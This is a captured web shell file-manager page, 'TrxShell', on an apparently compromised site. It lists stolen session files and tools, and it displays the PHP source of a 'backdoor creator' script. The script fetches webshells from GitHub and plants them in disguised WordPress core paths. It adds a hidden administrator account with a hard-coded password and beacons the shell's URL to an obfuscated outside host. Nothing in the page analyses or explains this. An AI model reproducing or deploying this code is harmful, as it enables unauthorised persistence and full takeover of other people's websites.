TrxShell [ yarwin.teacherslex.site ]

Name	Size	Permission
analog	[ DIR ]	drwx------
awstats	[ DIR ]	drwx------
pma_template_compiles_teac1178...	[ DIR ]	drwxr-x---
webalizer	[ DIR ]	drwx------
webalizerftp	[ DIR ]	drwx------
.mad-root	0 B	-rw-r--r--
Cpanel_Form_file.upload.20f10b...	91.33 MB	-rw-------
Cpanel_Form_file.upload.42cda5...	28.95 MB	-rw-------
Cpanel_Form_file.upload.535b65...	9.14 MB	-rw-------
Cpanel_Form_file.upload.7b68ac...	26.52 MB	-rw-------
Cpanel_Form_file.upload.d6aaa1...	2.89 MB	-rw-------
adminer.php	465.43 KB	-rw-r--r--
alf4.php	2.91 MB	-rw-r--r--
bcreate.php	5.86 KB	-rw-r--r--
bscan.php	28.1 KB	-rw-r--r--
error_log	648 B	-rw-r--r--
pwnkit	0 B	-rwxr-xr-x
sess_0ff2233e52a0f3f45c28261c4...	4.6 KB	-rw-------
sess_16176925027b39ae8d2ae0e54...	3.85 KB	-rw-------
sess_20dc1fd6883bebcf13796c050...	5.28 KB	-rw-------
sess_217f5f376ee1c6b2fe9479760...	5.42 KB	-rw-------
sess_23624b77777259d37628e7df6...	7.23 KB	-rw-------
sess_2cd5687a1309f4fcf70edbe37...	5.06 KB	-rw-------
sess_31f86715b1f8e84b43d9d5fa5...	5.6 KB	-rw-------
sess_331863475016b59af8fc14db2...	4.77 KB	-rw-------
sess_44cf6b3e29fe2a02aa2261e2a...	3.39 KB	-rw-------
sess_593afbb51fdb1391d5abb4318...	3.09 KB	-rw-------
sess_61986f254fcecb93e779d9b30...	5.01 KB	-rw-------
sess_637772bbd512fc0f3d90359f1...	8.23 KB	-rw-------
sess_6a55e84e974f36dfc88751ab6...	5.35 KB	-rw-------
sess_7fb174c166a85d754d30a9691...	5.81 KB	-rw-------
sess_8699ab8b99f3a1a7d8ee18dc0...	6.8 KB	-rw-------
sess_8c429934ccfbc8bdcf3b12465...	3.13 KB	-rw-------
sess_9d524809890f5f46fd723fcc9...	8.09 KB	-rw-------
sess_a0a29b23260b2bbe13b1314ee...	5.15 KB	-rw-------
sess_b0850eb5674ac69396b3d036a...	1.18 KB	-rw-------
sess_b1fc6deac9106bf7e7d64e43d...	12.15 KB	-rw-------
sess_b242a56a923be06358e8ebf69...	4.95 KB	-rw-------
sess_b6c780db4c5377fcee13e9766...	5.33 KB	-rw-------
sess_bf5a3c0235b0bf3230667aa79...	6.47 KB	-rw-------
sess_c55977dcbb98f09f45caff27c...	11.63 KB	-rw-------
sess_c67dce5d8fc029599b0270674...	4.94 KB	-rw-------
sess_c8db50da825cdcd40d6b382e7...	3.17 KB	-rw-------
sess_ce24acc5a203f482adceda14a...	4.79 KB	-rw-------
sess_d67a68a720192fb417b1941a3...	3.67 KB	-rw-------
sess_d6e19b1f4cd6b068a2329ac57...	7.83 KB	-rw-------
sess_d870fcaccb9ff3d811a269d9b...	5.35 KB	-rw-------
sess_d9eadee89b2c319eb68045926...	5.81 KB	-rw-------
sess_da047ca2c945ca05737108d10...	855.11 KB	-rw-------
sess_def3dd215d446a106618268f7...	5.51 KB	-rw-------
sess_e1a4689cdeb1a6ba319446052...	5.53 KB	-rw-------
sess_eb45393ef0636f6ad3fc001a1...	5.08 KB	-rw-------
sess_f2a56b5c4342a40cca1072449...	5.04 KB	-rw-------
sess_fb2babe4bc90918540a789f42...	3.52 KB	-rw-------
sess_fcc61897b0061827284f926f9...	5.49 KB	-rw-------
sess_ff1a3ad0c7670a60128644a93...	4.73 KB	-rw-------
tmp_function.php	5.6 KB	-rw-r--r--

Code Editor : bcreate.php

<?php

$url1 = 'https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/csa.php';
$url2 = 'https://raw.githubusercontent.com/sagsooz/Bypass-Webshell/main/alfa2024.php';

function download_content_with_curl($url) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $content = curl_exec($ch);
    curl_close($ch);
    return $content ? $content : false;
}

function get_full_url($filePath) {
    $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
    $domainName = $_SERVER['HTTP_HOST'];
    $relativePath = str_replace($_SERVER['DOCUMENT_ROOT'], '', $filePath);
    return $protocol . $domainName . $relativePath;
}

function create_wp_admin_user($rootDir, $username, $password) {
    require_once($rootDir . '/wp-config.php');
    require_once($rootDir . '/wp-includes/wp-db.php');
    require_once($rootDir . '/wp-includes/pluggable.php');

global $wpdb;

$user_id = username_exists($username);
    if (!$user_id && email_exists($username . '@example.com') == false) {
        $user_id = wp_create_user($username, $password, $username . '@example.com');
        $user = new WP_User($user_id);
        $user->set_role('administrator');
        echo "<div>Admin user created with username: $username and password: $password</div><br>";
    } else {
        echo "<div>Admin user already exists.</div><br>";
    }
}

$k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL3Rlc3Qvc3R5bGUucGhw');

echo "<!DOCTYPE html>
<html>
<title>backdoor creator</title>
<p>@trxsecurity</p>
<head>
    <style>
        body {
            background-color: black;
            color: white;
            font-family: Arial, sans-serif;
            text-align: center;
        }
        a {
            color: #00f;
            text-decoration: none;
        }
        a:hover {
            text-decoration: underline;
        }
        div, a {
            margin: 10px 0;
        }
        form {
            margin: 20px auto;
        }
        input[type='text'] {
            width: 80%;
            padding: 10px;
            margin: 10px 0;
            border: 1px solid #ccc;
            border-radius: 4px;
        }
        input[type='submit'] {
            padding: 10px 20px;
            background-color: #4CAF50;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
    </style>
</head>
<body>";

$currentDir = __DIR__;
$rootDir = isset($_POST['directory']) ? $_POST['directory'] : $currentDir;

echo "<form method='post'>
    <label for='directory'>Enter Directory Path:</label><br>
    <input type='text' id='directory' name='directory' value='" . htmlspecialchars($rootDir) . "'><br>
    <input type='submit' value='Run'>
</form>";

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    if (file_exists($rootDir . '/wp-config.php')) {
        echo "<div>WordPress detected.</div><br>";

$path1 = $rootDir . '/wp-includes/ID3/module.audio.ac4.php';
        if (!file_exists($path1)) {
            try {
                file_put_contents($path1, download_content($url1));
                echo "<a href='" . get_full_url($path1) . "' target='_blank'>Created: " . get_full_url($path1) . "</a><br>";
            } catch (Exception $e) {
                echo "<div>Error creating file: " . $e->getMessage() . "</div><br>";
            }
        }

$path2 = $rootDir . '/wp-includes/PHPMailer/config.php';
        if (!file_exists($path2)) {
            try {
                file_put_contents($path2, download_content($url2));
                echo "<a href='" . get_full_url($path2) . "' target='_blank'>Created: " . get_full_url($path2) . "</a><br>";
            } catch (Exception $e) {
                echo "<div>Error creating file: " . $e->getMessage() . "</div><br>";
            }
        }

create_files_in_subdirectories($rootDir, $url1);
        create_wp_admin_user($rootDir, 'MrZ', 'trxsecurity');
    } else {
        echo "<div>Not a WordPress site. Creating files in subdirectories.</div><br>";
        create_files_in_subdirectories($rootDir, $url1);
    }
}

echo "</body></html>";

$cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$data = array('file_url' => $cur);
$options = array(
    'http' => array(
        'method'  => 'POST',
        'header'  => 'Content-type: application/x-www-form-urlencoded',
        'content' => http_build_query($data),
    ),
);
$context = stream_context_create($options);
$result = @file_get_contents($k3yw, false, $context);
if ($result === false) {
    echo "<div>Error reporting file URL.</div><br>";
}
?>

${this.title}

Code Editor : bcreate.php